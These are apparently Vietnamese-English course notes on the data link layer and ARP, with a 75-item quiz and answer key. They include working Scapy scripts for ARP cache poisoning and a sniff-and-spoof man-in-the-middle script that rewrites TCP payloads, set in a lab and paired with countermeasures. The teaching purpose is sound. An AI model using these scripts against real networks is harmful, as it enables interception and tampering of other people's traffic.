CHƯƠNG 7: DATA LINK LAYER AND ARP ATTACKS
PHẦN 1: DATA LINK LAYER - KHÁI NIỆM CƠ BẢN
1. VAI TRÒ CỦA DATA LINK LAYER
Sending side:
- Encapsulates datagram trong frame
- Thêm error checking bits
- Reliable data transfer, flow control
Receiving side:
- Kiểm tra errors, reliable transfer, flow control
- Extracts datagram, passes lên upper layer
2. MAC ADDRESS
A. ĐẶC ĐIỂM
So với IP Address:
- IP address (32-bit): Network-layer address, dùng cho layer 3 forwarding
- MAC address (48-bit): Link-layer address, dùng locally để chuyển frame giữa các interface vật lý kết nối trực tiếp (cùng subnet)
Format:
- 48-bit cho hầu hết LANs
- Burned in NIC ROM, đôi khi software settable
- Ví dụ:
1A-2F-BB-76-09-AD(hexadecimal notation)
B. PHÂN BỔ VÀ QUẢN LÝ
IEEE allocation:
- MAC address allocation do IEEE quản lý
- Manufacturer mua portion của MAC address space → đảm bảo uniqueness
Tương tự:
- MAC address giống Social Security Number (cố định, unique)
- IP address giống Postal address (thay đổi theo vị trí)
C. TÍNH PORTABLE
MAC flat address:
- Portability: Có thể move interface từ LAN này sang LAN khác
- IP address KHÔNG portable: Phụ thuộc vào IP subnet
D. ETHERNET FRAME STRUCTURE (IEEE 802.3)
Cấu trúc:
[Preamble | Dest MAC | Src MAC | Type | Data | FCS]Type field quan trọng:
- 0x0800: IPv4
- 0x0806: ARP
3. PRIVACY ISSUE VỚI MAC
Vấn đề:
- MAC address là unique
- Khi walk around Mall, talk với WiFi Access Point → tell your MAC address
- APs có thể remember your MAC → trace where you have been
Giải pháp:
- MAC address randomization
- Probe APs = using software-generated MAC address
Trade-off:
- PERFORMANCE vs PRIVACY
PHẦN 2: ARP PROTOCOL
1. MỤC ĐÍCH
Question: Làm sao xác định interface’s MAC address khi biết IP address?
Answer: ARP (Address Resolution Protocol)
2. ARP TABLE (CACHE)
Mỗi IP node (host, router) trên LAN có table chứa:
<IP address; MAC address; TTL>TTL (Time To Live):
- Thời gian sau đó address mapping sẽ bị forgotten
- Typically 20 minutes
Linux commands:
arp -n: Show ARP cachearp -d: Delete an ARP entry
3. ARP PROTOCOL HOẠT ĐỘNG
Ví dụ: A muốn gửi datagram cho B
Bước 1: A broadcasts ARP query
- Chứa B’s IP address
- Destination MAC = FF-FF-FF-FF-FF-FF (broadcast)
- Tất cả nodes trên LAN nhận ARP query
Ethernet frame:
Source MAC: 71-65-F7-2B-08-53
Source IP: 137.196.7.23
Target IP: 137.196.7.14
Dest MAC: FF-FF-FF-FF-FF-FFBước 2: B replies với ARP response
- Gửi unicast (chỉ cho A)
- Chứa B’s MAC address
ARP message:
Target IP: 137.196.7.14
Target MAC: 58-23-D7-FA-20-B0
Dest MAC: 71-65-F7-2B-08-53 (A's MAC)Bước 3: A receives B’s reply
- Adds B entry vào local ARP table
- TTL = 500 seconds (example)
4. ROUTING TO ANOTHER SUBNET
Scenario: A gửi datagram cho B qua Router R
Assumptions:
- A knows B’s IP address
- A knows R’s IP address (first hop router)
- A knows R’s MAC address (qua ARP)
Bước 1: A → R
A creates:
- IP datagram: src = A’s IP, dst = B’s IP
- Link-layer frame: dst MAC = R’s MAC (NOT B’s!)
Quan trọng:
- IP header: A → B (không đổi)
- MAC header: A → R (local delivery)
Bước 2: R receives
- Frame received, datagram extracted
- Passed up to IP layer
Bước 3: R → B
R creates:
- IP datagram: src = A’s IP, dst = B’s IP (giữ nguyên)
- Link-layer frame: src MAC = R’s MAC, dst MAC = B’s MAC
Bước 4: B receives
- Extracts IP datagram
- Passes up protocol stack
Bottom line:
- ARP maps address of one protocol (Ethernet) to address of another protocol (IP)
- ARP là stateless protocol
5. ARP REQUEST VÀ REPLY
3 loại ARP messages:
1. ARP Request:
- Broadcast (FF-FF-FF-FF-FF-FF)
- Hỏi: “Who has IP X? Tell MAC Y”
2. ARP Reply:
- Unicast
- Trả lời: “IP X is at MAC Z”
3. ARP Gratuitous:
- Broadcast hoặc unicast
- Announce: “My IP X is at MAC Y”
- Mục đích: Update ARP caches, detect IP conflicts
PHẦN 3: ARP CACHE POISONING ATTACK
1. GOAL
Mục tiêu: Poisoning the cache of ARP
2. NGUYÊN LÝ HOẠT ĐỘNG
Key fact: ARP is a STATELESS protocol
Question: Làm sao cause ARP update cache?
Answer: Gửi:
- ARP Request
- ARP Reply
- ARP Gratuitous
Khi ARP request/reply/gratuitous đến → ARP cache sẽ được UPDATE!
Idea tấn công: Spoofing ARP messages
3. SPOOFING ARP MESSAGES BẰNG SCAPY
A. SPOOFING ARP REQUEST
Scenario:
- Attacker IP: 10.102.20.154
- Target IP: 10.102.20.178, MAC: 00:50:56:a8:1a:d3
- Victim IP: 10.102.20.177, MAC: 00:50:56:a8:0e:77
Code:
from scapy.all import *
E = Ether()
E.dst = "00:50:56:a8:0e:77" # Victim's MAC (unicast)
A = ARP()
A.op = 1 # ARP Request
A.psrc = "10.102.20.178" # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff" # FAKE MAC
A.pdst = "10.102.20.177" # Victim IP
A.hwdst = "00:50:56:a8:0e:77" # Victim MAC
sendp(E/A)Kết quả:
- Victim nhận ARP request
- Thấy: 10.102.20.178 mapped to aa:bb:cc:dd:ee:ff (FAKE!)
- Tự động add vào ARP cache
Before:
10.102.20.178 → 00:50:56:a8:1a:d3 (real)After:
10.102.20.178 → aa:bb:cc:dd:ee:ff (FAKE!)B. SPOOFING ARP REPLY
Code:
E = Ether()
E.dst = "00:50:56:a8:0e:77" # Victim's MAC
A = ARP()
A.op = 2 # ARP Reply
A.psrc = "10.102.20.178" # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff" # FAKE MAC
A.pdst = "10.102.20.177" # Victim IP
A.hwdst = "00:50:56:a8:0e:77" # Victim MAC
sendp(E/A)C. SPOOFING ARP GRATUITOUS
Code:
E = Ether()
E.dst = "ff:ff:ff:ff:ff:ff" # Broadcast
A = ARP()
A.op = 1 # Request (hoặc 2 cho Reply)
A.psrc = "10.102.20.178" # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff" # FAKE MAC
A.pdst = "10.102.20.178" # SAME as psrc!
A.hwdst = "00:00:00:00:00:00" # All zeros hoặc broadcast
sendp(E/A)4. QUAN SÁT QUAN TRỌNG
ARP Request:
- Không quan trọng entry đã có trong cache hay chưa
- Target sẽ tự động accept spoofed request
ARP Reply và Gratuitous:
- Thường là response to request HOẶC đã có entry trong cache
- Vấn đề: Nếu chưa có entry?
Giải pháp: Trigger target put Valid entry vào cache
Cách:
- Send spoofed ICMP echo request to target (pretending to be victim)
- Target replies to victim → cần biết victim’s MAC
- Target sends ARP request for victim
- NOW entry tồn tại → có thể poison!
PHẦN 4: MAN-IN-THE-MIDDLE (MITM) ATTACK USING ARP
1. GENERAL IDEA
Normal communication:
Alice → Bob (directly)MITM:
Alice → Micheal (attacker) → Bob
Micheal can SEE or MODIFY trafficQuestion: What if attacker NOT in the middle?
Answer: Need to REDIRECT traffic
Methods:
- Link layer: ARP cache poisoning
- Network layer: ICMP redirect
- Application layer: DNS cache poisoning
2. MITM VỚI ARP CACHE POISONING
Setup ban đầu:
Alice (A):
ARP table:
IP_B → MAC_BBob (B):
ARP table:
IP_A → MAC_AMicheal (M): Attacker (phải cùng network với A và B)
Bước 1: Cache Poison cả A và B
Poison Alice:
- Tell A: “IP_B is at MAC_M”
Poison Bob:
- Tell B: “IP_A is at MAC_M”
Kết quả:
Alice’s ARP table:
IP_B → MAC_M (FAKE!)Bob’s ARP table:
IP_A → MAC_M (FAKE!)Bước 2: A gửi packet cho B
IP header:
- src = IP_A
- dst = IP_B
- (Không đổi!)
MAC header:
- src = MAC_A
- dst = MAC_M (vì ARP cache bị poison!)
Packet đến M!
Bước 3: M nhận packet - 2 Scenarios
Scenario 1: M configured as ROUTER
- IP Forwarding = 1
- Kernel automatically relay packet to B
- M chỉ cần sniff để xem/modify
Scenario 2: M configured as HOST
- IP Forwarding = 0 (default)
- dst IP ≠ M’s IP → Kernel drops packet
- B KHÔNG nhận được packet!
Vậy phải làm gì?
3. GIẢI PHÁP: SNIFF VÀ SPOOF
Vấn đề: Kernel drops packets (vì dst IP ≠ M’s IP)
Giải pháp:
Step 1: Open Raw Socket
- Tell kernel: “Before you drop them, give me a copy!”
Step 2: Sniff packets
- Receive copy of packets trước khi kernel drops
Step 3: Modify packets
- Change content as desired
Step 4: Spoof modified packets
- Forward to real destination (B)
Kết quả:
- B receives MODIFIED packet from A
- B thinks packet từ A (IP src = A)
- M is in the middle!
4. CODE EXAMPLE: MITM TRÊN NETCAT
#!/usr/bin/env python3
from scapy.all import *
VM_A = "10.9.0.5"
VM_B = "10.9.0.6"
MAC_A = "02:42:0a:09:00:05"
MAC_B = "02:42:0a:09:00:06"
MAC_M = "02:42:0a:09:00:69"
def spoof_pkt(pkt):
if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
# Intercept A → B
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum) # Remove checksums
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
# Modify data
newdata = data.replace(b'kevin', b'AAAAA')
send(newpkt/newdata) # Scapy recalculates checksums
else:
send(newpkt)
elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
# Relay B → A (không modify)
send(pkt[IP])
# Sniff and intercept
f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)Giải thích:
- Sniff TCP packets từ A hoặc B
- Nếu A → B: Replace ‘kevin’ với ‘AAAAA’
- Nếu B → A: Forward không đổi
- Delete checksums → Scapy tự động recalculate
5. CODE EXAMPLE: MITM TRÊN TELNET
Lưu ý về Telnet:
- Netcat: Gửi cả dòng trong 1 TCP packet
- Telnet: Mỗi character = 1 TCP packet, server echo back
Code:
def spoof_pkt(pkt):
if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
# Replace all alphabet characters with 'A'
newdata = re.sub(r'[a-zA-Z]', r'A', data.decode())
send(newpkt/newdata.encode())
else:
send(newpkt)
elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
send(pkt[IP])
f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
sniff(iface='eth0', filter=f, prn=spoof_pkt)PHẦN 5: VẤN ĐỀ VÀ COUNTERMEASURES
1. HẠN CHẾ CỦA ARP CACHE POISONING
Câu hỏi (Fiction): “In 2019, Russia hackers launched many ARP cache poisoning attacks from Russia against White House network. Do you applaud?”
Answer: NO!
Lý do:
- You have to be INSIDE network to launch ARP cache poisoning
- Không thể attack từ xa (Russia → White House)
- → It’s not that significant attack
Bottom line:
- ARP hoạt động ở Link layer (Layer 2)
- Chỉ trong same subnet/LAN
- Không route qua Internet
2. COUNTERMEASURES
Best countermeasure: ENCRYPTION!
Lý do:
- Hiện nay: Nhiều communications được encrypted (HTTPS, SSH, VPN…)
- Attacker vẫn có thể launch cache poisoning
- Nhưng MITM attack will NOT be successful
- Vì won’t be able to MODIFY traffic (encrypted!)
Chỉ còn có thể:
- Denial of Service (drop packets)
- Không thể đọc/modify content
Encryption is the BEST countermeasure against most MITM attacks
3. COUNTERMEASURES KHÁC
1. Static ARP Entries:
- Manually configure ARP table
- Không bị update bởi ARP messages
- Nhược điểm: Không scalable, khó maintain
2. ARP Monitoring Tools:
- Detect ARP cache changes
- Alert khi suspicious ARP traffic
- Tools: ARPwatch, XArp
3. Port Security (Switch level):
- Bind MAC addresses to switch ports
- Prevent MAC spoofing
- Cisco: Port Security feature
4. 802.1X Authentication:
- Authenticate devices trước khi allow network access
5. VLANs:
- Segment network
- Giảm broadcast domain
- Limit ARP poisoning scope
PHẦN 6: PACKET SNIFFING ISSUE - HOMEWORK
Task: Observe difference giữa 2 commands:
Command 1:
ping 1.2.3.4 # Non-existing, NOT on local networkCommand 2:
ping 10.20.20.111 # Non-existing, on local network (same subnet)Attacker: 10.102.20.154 (sniffing) Victim: 10.102.20.177 (ping)
Question: Sự khác biệt?
Answer:
Command 1 (1.2.3.4 - khác subnet):
- Victim checks: 1.2.3.4 NOT on local network
- Gửi qua default gateway (router)
- ARP query cho router’s MAC (NOT 1.2.3.4!)
- Packet: dst MAC = router, dst IP = 1.2.3.4
- Attacker CÓ THỂ sniff ICMP packets nếu cùng LAN
Command 2 (10.20.20.111 - cùng subnet):
- Victim checks: 10.20.20.111 ON local network
- ARP query for 10.20.20.111 (broadcast)
- Attacker CÓ THỂ sniff ARP request!
- Nếu không ai reply → ICMP packets KHÔNG được gửi (no MAC address!)
- Nếu attacker spoof ARP reply → có thể intercept!
Key difference:
- Khác subnet: ARP for gateway, ICMP được gửi
- Cùng subnet: ARP for destination, nếu không reply → NO ICMP
NGÂN HÀNG CÂU HỎI CHƯƠNG 7
PHẦN 1: DATA LINK LAYER & MAC
Câu 1: Data Link layer ở sending side làm gì?
A. Chỉ gửi packets
B. Encapsulates datagram trong frame, thêm error checking ✓
C. Routing packets
D. Mã hóa data
Câu 2: Data Link layer ở receiving side làm gì?
A. Chỉ nhận frames
B. Kiểm tra errors, extracts datagram, passes lên upper layer ✓
C. Forward packets
D. Decrypt data
Câu 3: MAC address có độ dài bao nhiêu bits?
A. 32 bits
B. 48 bits ✓
C. 64 bits
D. 128 bits
Câu 4: IP address có độ dài bao nhiêu bits?
A. 16 bits
B. 32 bits (IPv4) ✓
C. 48 bits
D. 64 bits
Câu 5: MAC address được dùng cho mục đích gì?
A. Layer 3 forwarding
B. Locally chuyển frame giữa interfaces vật lý kết nối trực tiếp (same subnet) ✓
C. Routing qua Internet
D. DNS resolution
Câu 6: IP address được dùng cho mục đích gì?
A. Local delivery
B. Layer 3 (network layer) forwarding ✓
C. MAC address mapping
D. Error checking
Câu 7: MAC address được lưu ở đâu?
A. RAM
B. NIC ROM (burned in), đôi khi software settable ✓
C. Hard disk
D. CPU cache
Câu 8: MAC address allocation được quản lý bởi ai?
A. IETF
B. IEEE ✓
C. ICANN
D. W3C
Câu 9: Manufacturer mua gì từ IEEE?
A. IP address range
B. Portion of MAC address space ✓
C. Domain names
D. SSL certificates
Câu 10: MAC address tương tự như gì?
A. Postal address
B. Social Security Number (cố định, unique) ✓
C. Phone number
D. Email address
Câu 11: IP address tương tự như gì?
A. Social Security Number
B. Postal address (thay đổi theo vị trí) ✓
C. Fingerprint
D. Driver license
Câu 12: MAC address có portable không?
A. Không
B. Có - có thể move interface từ LAN này sang LAN khác ✓
C. Tùy thuộc hệ thống
D. Chỉ trong cùng building
Câu 13: IP address có portable không?
A. Có
B. Không - phụ thuộc vào IP subnet ✓
C. Luôn portable
D. Chỉ với static IP
Câu 14: Ethernet Type field 0x0800 nghĩa là gì?
A. ARP
B. IPv4 ✓
C. IPv6
D. ICMP
Câu 15: Ethernet Type field 0x0806 nghĩa là gì?
A. IPv4
B. ARP ✓
C. TCP
D. UDP
Câu 16: MAC address format sử dụng notation nào?
A. Decimal
B. Binary
C. Hexadecimal (base 16) ✓
D. Octal
Câu 17: Vấn đề privacy với MAC address?
A. Không có vấn đề
B. MAC unique → APs có thể trace where you have been ✓
C. Dễ bị hack
D. Quá dài
Câu 18: Giải pháp cho MAC privacy issue?
A. Không dùng WiFi
B. MAC address randomization (software-generated MAC) ✓
C. Tắt network card
D. Dùng VPN
Câu 19: Trade-off của MAC randomization?
A. Cost vs Security
B. Performance vs Privacy ✓
C. Speed vs Reliability
D. Bandwidth vs Latency
PHẦN 2: ARP PROTOCOL
Câu 20: ARP viết tắt của gì?
A. Automatic Routing Protocol
B. Address Resolution Protocol ✓
C. Advanced Research Protocol
D. Application Request Protocol
Câu 21: ARP làm gì?
A. Routing packets
B. Xác định MAC address khi biết IP address ✓
C. Mã hóa data
D. Compress packets
Câu 22: ARP table (cache) chứa gì?
A. Chỉ IP addresses
B. Chỉ MAC addresses
C. <IP address; MAC address; TTL> ✓
D. Routing information
Câu 23: TTL trong ARP table nghĩa là gì?
A. Total Transfer Limit
B. Time To Live - thời gian mapping sẽ bị forgotten ✓
C. Type To Link
D. Transport Layer Limit
Câu 24: ARP TTL typically là bao lâu?
A. 5 minutes
B. 10 minutes
C. 20 minutes ✓
D. 60 minutes
Câu 25: Linux command để show ARP cache?
A. ifconfig
B. arp -n ✓
C. netstat
D. route
Câu 26: Linux command để delete ARP entry?
A. arp -a
B. arp -d ✓
C. arp -s
D. arp -r
Câu 27: ARP Request được gửi đến MAC address nào?
A. 00:00:00:00:00:00
B. FF:FF:FF:FF:FF:FF (broadcast) ✓
C. Router’s MAC
D. Destination’s MAC
Câu 28: ARP Reply được gửi đến MAC address nào?
A. Broadcast
B. Requester’s MAC (unicast) ✓
C. Router’s MAC
D. All nodes
Câu 29: Khi nhận ARP Request/Reply/Gratuitous, node làm gì?
A. Ignore
B. Forward
C. Update ARP cache ✓
D. Send ICMP
Câu 30: ARP là loại protocol gì?
A. Stateful
B. Stateless ✓
C. Connection-oriented
D. Encrypted
Câu 31: ARP Gratuitous có mục đích gì?
A. Request MAC
B. Announce “My IP X is at MAC Y”, update caches, detect IP conflicts ✓
C. Delete ARP entries
D. Encrypt traffic
Câu 32: ARP maps address của protocol nào?
A. TCP to UDP
B. Ethernet to IP ✓
C. IP to DNS
D. HTTP to HTTPS
PHẦN 3: ROUTING TO ANOTHER SUBNET
Câu 33: A gửi packet cho B (khác subnet) qua R. IP header?
A. src = A, dst = R
B. src = R, dst = B
C. src = A, dst = B (KHÔNG ĐỔI!) ✓
D. src = B, dst = A
Câu 34: A gửi packet cho B qua R. MAC header (A → R)?
A. src = A, dst = B
B. src = A, dst = R ✓
C. src = R, dst = B
D. src = B, dst = A
Câu 35: R forward packet đến B. IP header?
A. src = R, dst = B
B. src = A, dst = B (vẫn giữ nguyên) ✓
C. src = A, dst = R
D. Thay đổi hoàn toàn
Câu 36: R forward packet đến B. MAC header?
A. src = A, dst = B
B. src = A, dst = R
C. src = R, dst = B ✓
D. src = B, dst = R
Câu 37: Khi A gửi cho B (khác subnet), A cần biết gì?
A. Chỉ B’s IP
B. B’s MAC address
C. Router’s MAC address (first hop) ✓
D. All routers’ MACs
PHẦN 4: ARP CACHE POISONING
Câu 38: ARP Cache Poisoning attack mục tiêu là gì?
A. Delete ARP cache
B. Poisoning (làm nhiễm độc) ARP cache ✓
C. Encrypt ARP
D. Compress ARP
Câu 39: ARP là stateless protocol nghĩa là gì liên quan đến attack?
A. Không thể attack
B. Nhận ARP messages → tự động update cache, không verify ✓
C. Cần authentication
D. Luôn kiểm tra
Câu 40: Gửi loại ARP message nào có thể poison cache?
A. Chỉ Request
B. Chỉ Reply
C. Request, Reply, HOẶC Gratuitous ✓
D. Không loại nào
Câu 41: Idea chính của ARP Cache Poisoning?
A. Delete ARP
B. Spoofing ARP messages ✓
C. Flood ARP
D. Encrypt ARP
Câu 42: Spoofed ARP Request, target sẽ làm gì?
A. Ignore
B. Verify trước
C. Tự động accept và update cache ✓
D. Send error
Câu 43: Với ARP Reply/Gratuitous, vấn đề gì nếu chưa có entry?
A. Không có vấn đề
B. Có thể KHÔNG update cache ✓
C. Luôn update
D. Send error
Câu 44: Giải pháp khi chưa có entry trong cache? A. Không thể poison
B. Trigger target put valid entry: Send spoofed ICMP echo request ✓
C. Wait timeout
D. Restart network
Câu 45: ARP op code = 1 nghĩa là gì?
A. Reply
B. Request ✓
C. Gratuitous
D. Error
Câu 46: ARP op code = 2 nghĩa là gì?
A. Request
B. Reply ✓
C. Gratuitous
D. Error
Câu 47: Scapy code để spoof ARP Request?
A. A.op = 2
B. A.op = 1 ✓
C. A.type = “request”
D. A.cmd = “arp_req”
PHẦN 5: MAN-IN-THE-MIDDLE ATTACK
Câu 48: MITM attack mục đích là gì?
A. Delete traffic
B. Intercept và/hoặc modify traffic giữa A và B ✓
C. Speed up traffic
D. Encrypt traffic
Câu 49: Để launch MITM, attacker cần gì?
A. Chỉ cần biết IP
B. Redirect traffic qua mình ✓
C. Chỉ cần password
D. Physical access
Câu 50: Methods để redirect traffic?
A. Chỉ ARP poisoning
B. Chỉ DNS poisoning
C. Link layer (ARP), Network layer (ICMP), Application layer (DNS) ✓
D. Chỉ ICMP redirect
Câu 51: MITM với ARP poisoning, attacker phải ở đâu?
A. Anywhere trên Internet
B. Cùng network (same LAN/subnet) với victims ✓
C. Khác country
D. Khác continent
Câu 52: MITM với ARP, poison cache của ai?
A. Chỉ Alice
B. Chỉ Bob
C. Cả Alice VÀ Bob ✓
D. Chỉ router
Câu 53: Sau khi poison, Alice’s ARP table có gì?
A. IP_B → MAC_B (correct)
B. IP_B → MAC_M (attacker’s MAC) ✓
C. IP_M → MAC_B
D. Bị xóa
Câu 54: Sau khi poison, Bob’s ARP table có gì?
A. IP_A → MAC_A (correct)
B. IP_A → MAC_M (attacker’s MAC) ✓
C. IP_M → MAC_A
D. Bị xóa
Câu 55: Alice gửi packet cho Bob sau khi bị poison. IP header?
A. src = Alice, dst = Micheal
B. src = Alice, dst = Bob (vẫn đúng!) ✓
C. src = Micheal, dst = Bob
D. Bị thay đổi
Câu 56: Alice gửi packet cho Bob sau poison. MAC header?
A. src = Alice, dst = Bob
B. src = Alice, dst = Micheal ✓
C. src = Micheal, dst = Bob
D. src = Bob, dst = Alice
Câu 57: Micheal configured as ROUTER (IP Forwarding = 1), điều gì xảy ra?
A. Drop packets
B. Kernel tự động relay packets to Bob ✓
C. Send error
D. Encrypt packets
Câu 58: Micheal configured as HOST (IP Forwarding = 0), điều gì xảy ra?
A. Relay packets
B. Kernel drops packets (dst IP ≠ M’s IP) ✓
C. Forward to gateway
D. Broadcast packets
Câu 59: Nếu IP Forwarding = 0, làm sao MITM thành công?
A. Không thể
B. Bắt buộc enable IP Forwarding
C. Open raw socket, sniff packets trước khi drop, rồi spoof forward ✓
D. Restart network
Câu 60: Raw socket giúp gì cho MITM?
A. Tăng tốc độ
B. Get copy of packets TRƯỚC KHI kernel drops ✓
C. Mã hóa packets
D. Routing packets
Câu 61: Trong MITM code, tại sao delete checksums?
A. Không cần checksums
B. Để Scapy TỰ ĐỘNG recalculate sau khi modify ✓
C. Checksums gây lỗi
D. Tăng tốc độ
Câu 62: Netcat vs Telnet khác nhau như thế nào về packet sending?
A. Giống nhau
B. Netcat: cả dòng trong 1 packet; Telnet: mỗi char = 1 packet ✓
C. Telnet nhanh hơn
D. Netcat không gửi packets
PHẦN 6: COUNTERMEASURES
Câu 63: ARP Cache Poisoning có thể attack từ xa (remote) không?
A. Có
B. KHÔNG - phải ở INSIDE network (same LAN) ✓
C. Tùy firewall
D. Chỉ với VPN
Câu 64: Lý do ARP poisoning không thể remote?
A. Firewall block
B. ARP hoạt động ở Link layer (Layer 2), chỉ same subnet ✓
C. Encryption
D. Authentication required
Câu 65: Best countermeasure chống MITM attacks?
A. Firewall
B. Antivirus
C. ENCRYPTION (HTTPS, SSH, VPN) ✓
D. Strong password
Câu 66: Tại sao Encryption là best countermeasure?
A. Tăng tốc độ
B. Attacker không thể modify encrypted traffic ✓
C. Block ARP
D. Prevent spoofing
Câu 67: Nếu traffic được encrypt, attacker vẫn poison được không?
A. Không
B. Có - vẫn poison được nhưng MITM không thành công ✓
C. Tùy encryption
D. Chỉ với weak encryption
Câu 68: Với encrypted traffic, attacker chỉ có thể làm gì?
A. Đọc content
B. Modify content
C. Denial of Service (drop packets) ✓
D. Tất cả đều được
Câu 69: Static ARP entries là gì?
A. ARP tự động update
B. Manually configure, không bị update bởi ARP messages ✓
C. Dynamic ARP
D. Random ARP
Câu 70: Nhược điểm của Static ARP?
A. Không an toàn
B. Không scalable, khó maintain ✓
C. Quá chậm
D. Không hoạt động
Câu 71: ARP monitoring tools làm gì?
A. Generate ARP
B. Detect ARP cache changes, alert suspicious traffic ✓
C. Block all ARP
D. Encrypt ARP
Câu 72: Tools nào cho ARP monitoring?
A. Wireshark only
B. ARPwatch, XArp ✓
C. Chrome, Firefox
D. Word, Excel
Câu 73: Port Security (Switch level) làm gì?
A. Mở tất cả ports
B. Bind MAC addresses to switch ports, prevent MAC spoofing ✓
C. Close all ports
D. Random ports
Câu 74: VLANs giúp gì chống ARP poisoning?
A. Encrypt traffic
B. Segment network, giảm broadcast domain, limit scope ✓
C. Increase speed
D. Block all traffic
Câu 75: 802.1X Authentication làm gì?
A. Encrypt data
B. Authenticate devices trước khi allow network access ✓
C. Speed up network
D. Compress traffic
ĐÁP ÁN NHANH
1.B 2.B 3.B 4.B 5.B 6.B 7.B 8.B 9.B 10.B 11.B 12.B 13.B 14.B 15.B 16.C 17.B 18.B 19.B 20.B 21.B 22.C 23.B 24.C 25.B 26.B 27.B 28.B 29.C 30.B 31.B 32.B 33.C 34.B 35.B 36.C 37.C 38.B 39.B 40.C 41.B 42.C 43.B 44.B 45.B 46.B 47.B 48.B 49.B 50.C 51.B 52.C 53.B 54.B 55.B 56.B 57.B 58.B 59.C 60.B 61.B 62.B 63.B 64.B 65.C 66.B 67.B 68.C 69.B 70.B 71.B 72.B 73.B 74.B 75.B
BẢNG TÓM TẮT NHANH - CHƯƠNG 7
1. DATA LINK LAYER & MAC
- MAC: 48-bit, burned in NIC, portable
- IP: 32-bit, not portable, depends on subnet
- MAC = SSN (cố định), IP = Postal (thay đổi)
- Type: 0x0800 = IPv4, 0x0806 = ARP
- Privacy issue: MAC unique → tracking
2. ARP PROTOCOL
- Mục đích: IP → MAC address
- ARP Table: <IP, MAC, TTL> (20 min)
- Request: Broadcast (FF:FF:FF:FF:FF:FF)
- Reply: Unicast
- Stateless: Nhận → tự động update, không verify
3. ROUTING SUBNET
- Same subnet: Direct delivery (dst MAC = dest)
- Different subnet: Qua router
- IP: A → B (không đổi)
- MAC: A → R, rồi R → B
4. ARP CACHE POISONING
- Goal: Poison ARP cache
- Method: Spoof ARP Request/Reply/Gratuitous
- Scapy:
A.op = 1(Request)A.op = 2(Reply)- Set fake
hwsrc
5. MITM ATTACK
- Requirements: Same LAN/subnet
- Steps:
- Poison cả A và B: IP_B → MAC_M, IP_A → MAC_M
- Traffic qua M
- If IP Forwarding = 0: Raw socket sniff + spoof
- Code: Delete checksums → Scapy recalc
6. COUNTERMEASURES
- Best: ENCRYPTION (HTTPS, SSH, VPN)
- Lý do: Không modify được encrypted traffic
- Others: Static ARP, Monitoring, Port Security, VLANs, 802.1X
7. LIMITATIONS
- ARP poisoning: CHỈ inside network (same LAN)
- KHÔNG THỂ remote (Layer 2, không route)
CHUẨN BỊ THI: Nhớ kỹ MAC vs IP, ARP workflow (Request broadcast → Reply unicast), ARP stateless, spoofing với Scapy (op=1/2, hwsrc), MITM steps, IP Forwarding=0 solution, và Encryption best countermeasure!